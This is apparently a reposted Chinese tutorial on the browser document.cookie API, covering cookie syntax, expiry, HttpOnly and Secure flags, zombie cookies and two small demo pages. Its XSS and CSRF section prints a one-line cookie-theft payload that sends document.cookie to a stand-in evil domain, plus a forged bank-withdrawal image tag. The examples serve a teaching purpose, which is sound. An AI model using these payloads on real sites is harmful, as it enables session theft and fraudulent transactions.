web API简介(二)：客户端储存之document.cookie API

概述

前篇：web API简介(一)：API，Ajax和Fetch

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。

Cookie介绍

cookies主要用来做如下事情：1.用户登录，购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。

cookies有很多问题。比如它的发送需要利用http请求，所以会有性能损耗；每种浏览器也有cookie条数限制，达到限制就会自动删除一些cookie；cookie还有很严重的安全问题。

cookies只有一个优点，就是它和老式的浏览器很兼容。0.0

Set Cookie

Set-Cookie: <cookie-name>=<cookie-value>

语法

//newCookie = "key=value"
document.cookie = newCookie;

还可以在后面添加这些信息：

(1)";path=path"

(2)";domain=domain"

(3)";max-age=max-age-in-seconds"

(4)";expires=date-in-GMTString-format"

Cookie的时效

如果没有写Expires或Max-Age，当浏览器关闭的时候Cookie会被删除。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

HttpOnly cookies

为了防止XSS(cross-site scripting)攻击，cookie可以加上Secure和HttpOnly，这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Xss和CSRF

XSS = cross-site scripting；CSRF = Cross-site request forgery。

下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候，会被盗钱。

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Zombie cookies

Zombie cookies = Evercookies。

这类cookies在被删除后会立刻重新建立，所以很难被删除。

相关方面的资料：Evercookie by Samy Kamkar和Zombie cookies on Wikipedia。

cookie操作实例

下面的代码拿到一个叫test2的cookie。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title><script>document.cookie = "test1=Hello";document.cookie = "test2=World";var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");function alertCookieValue() {var showCookie = document.getElementById("show_cookie");showCookie.innerText = cookieValue;};</script>
</head>
<body><button onclick="alertCookieValue()">显示cookie</button><div id="show_cookie"></div>
</body>
</html>

Document <script> document.cookie = "test1=Hello"; document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); function alertCookieValue() { var showCookie = document.getElementById("show_cookie"); showCookie.innerText = cookieValue; }; </script> 显示cookie

下面的代码使事情只做一次。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title><script>function doOnce() {if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {document.getElementById("do_once").disabled = true;document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";}};function resetOnce() { document.getElementById("do_once").disabled = false;document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";}</script>
</head>
<body><button id="do_once" onclick="doOnce()">Only do something once</button><button onclick="resetOnce()">Reset only once cookie</button>
</body>
</html>

Document <script> function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { document.getElementById("do_once").disabled = true; document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }; function resetOnce() { document.getElementById("do_once").disabled = false; document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; } </script> Only do something once Reset only once cookie

转载于:https://www.cnblogs.com/yangzhou33/p/8443269.html